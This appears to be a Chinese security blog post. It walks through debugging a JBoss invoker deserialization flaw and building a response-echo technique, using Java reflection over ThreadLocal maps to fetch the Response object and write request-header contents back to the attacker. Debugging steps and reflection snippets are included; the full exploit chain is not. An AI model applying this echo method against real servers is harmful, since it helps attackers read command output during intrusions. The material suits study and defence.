这周根据师傅的思路调试了一下Jboss漏洞的回显。Java漏洞利用过程中大多技巧都用到了反射机制。本来这篇文章中也准备写写Java反射的,但写完感觉反射写的还是不够清楚,决定拆成两篇,反射之后再发吧。
1. Jboss调试环境
从网上下载jboss安装包,本文的环境是在Windows Server2008虚拟机中,故以Windows说明。
找到Windows下的JBoss的启动文件:run.bat,查找8787,存在此句话,则去掉注释(rem),重新启动run.bat即可。
rem set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n %JAVA_OPTS%
但是可能有的run.bat里没有,则可在run.conf中找到,放入run.bat的RESTART语句后即可。
然后把Jboss安装包放入IDEA,另外将lib和server下的文件加入library,并将server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes打包jar cvf org.jar ./org
配置其Debug方式,如果直接是在本机起的服务可以直接设成localhost:8787,但是因为本文在虚拟机中配置,要将Host设成虚拟机IP地址。
如果连接虚拟机的过程没有报错但是也没连上的话,可以考虑是不是Windows防火墙没有关闭。关闭即可解决连接问题。
在org.jboss.invocation.http.servlet.ReadOnlyAccessFilter#doFilter的if语句前下断点,然后虚拟机中模拟发包 curl http://127.0.0.1:8080/invoker/readonly --data-binary @copyright.txt
,此时就可以看到IDEA中的断点已经命中,点击计算器可以在当前上下文执行Java代码,也就可以开始调试。
2. Jboss调试
在Thread.currentThread().threadLocals.table
中逐个查看相关变量,找到request和response。
找到request,是刚才curl所发的包,发现其table编号为30,可以通过
Thread.currentThread().threadLocals.table[30].value
定位到value{Response},因为value是Response对象,通过反射即可获取到Response对象的属性,根据上文获取类属性的方式,value.getClass()->获取到Response对象(org.apache.catalina.connector.Response),然后.getDeclaredFields()即可获取所有属性,.getDeclaredMethods()获取所有方法
图中显示类路径为org.apache.catalina.connector.Response,但是在IDEA中并没有直接搜到,说明有很多jar没有被引进来,想要查询完整路径可以在上述内存调试基础上
Thread.currentThread().threadLocals.table[30].value.getClass().getResourceAsStream(".");
或
Thread.currentThread().threadLocals.table[30].value.getClass().getResource("").getPath();
获取Response类所在路径,将该类所在的jar包引入,可以看到Response中相关内容
其中getOutputStream函数没有参数,生成的是一个coyoteOutputStream对象。该对象中包括了write、flush和close方法。
write可以写入内容,flush则可以显示,两者共同调用就可以完成想要内容的回显,先拿个固定字符串"hello"试试。
Object resp=Thread.currentThread().threadLocals.table[30].value;
Object writer=resp.getClass().getDeclaredMethod("getOutputStream").invoke(resp);
writer.getClass().getDeclaredMethod("write",byte[].class).invoke(writer,"hello".getBytes());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
既然这种方式可行,就要考虑如何执行命令,一种方式是将命令写在请求头里,然后根据命令获得相应的回显。那么此时上段代码中需要加入 request header的获取方法。首先获取 request对象,它存在于Response类的字段中,然后获取request对象的值,进而获取对象对应的header。并通过上述getOutputStream的方式进行回显。
Object resp=Thread.currentThread().threadLocals.table[30].value;
Field reqFiled=resp.getClass().getDeclaredField("request");//获取Response对象的request字段
reqFiled.setAccessible(true);//request字段值为protected,改变其访问权限
Object req=reqFiled.get(resp);//获取request字段值
Object contentType=req.getClass().getDeclaredMethod("getHeader",String.class).invoke(req,"Content-Type");//调用request对象中的getHeader方法
Object writer=resp.getClass().getDeclaredMethod("getOutputStream").invoke(resp);
writer.getClass().getDeclaredMethod("write",byte[].class).invoke(writer,contentType.toString().getBytes());//将请求头的内容写入
writer.getClass().getDeclaredMethod("flush").invoke(writer);
以上都是在内存中的调试,真正写成通用的工具,就不可能指定table[30],要全部通过反射来写。
那这里就要更深入的理解一下ThreadLocal类。该类中还定义了一个内部类ThreadLocalMap,但是对ThreadLocalMap真正的引用是在Thread类中。
static class ThreadLocalMap {
static class Entry extends WeakReference<ThreadLocal<?>> {
Object value;
Entry(ThreadLocal<?> k, Object v) {
super(k);
value = v;
}
}
private static final int INITIAL_CAPACITY = 16;
private Entry[] table;
private int size = 0;
private int threshold; // Default to 0
private void setThreshold(int len) {
threshold = len * 2 / 3;
}
private static int nextIndex(int i, int len) {
return ((i + 1 < len) ? i + 1 : 0);
}
private static int prevIndex(int i, int len) {
return ((i - 1 >= 0) ? i - 1 : len - 1);
}
ThreadLocalMap(ThreadLocal<?> firstKey, Object firstValue) {
table = new Entry[INITIAL_CAPACITY];
int i = firstKey.threadLocalHashCode & (INITIAL_CAPACITY - 1);
table[i] = new Entry(firstKey, firstValue);
size = 1;
setThreshold(INITIAL_CAPACITY);
}
接下来的思路就是Entry[] table中某个值如何获取,table属于ThreadLocalMap的字段值,可以通过如下方式获取
Class threadLocalMapClazz=Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableField=threadLocalMapClazz.getDeclaredField("table");
tableField.setAccessible(true);
这里获得的table是个数组,其具体值要通过get获得。value则属于Entry类的属性,同样它的值也需要反射get方法获得。
Class entryClass=Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField=entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
后面的写法就和上述调试过程中的回显代码没有什么差别了。
最后要说一下,这个Jboss漏洞最后的利用代码还用到了BCEL类,这个部分不属于回显范畴,就不多说了。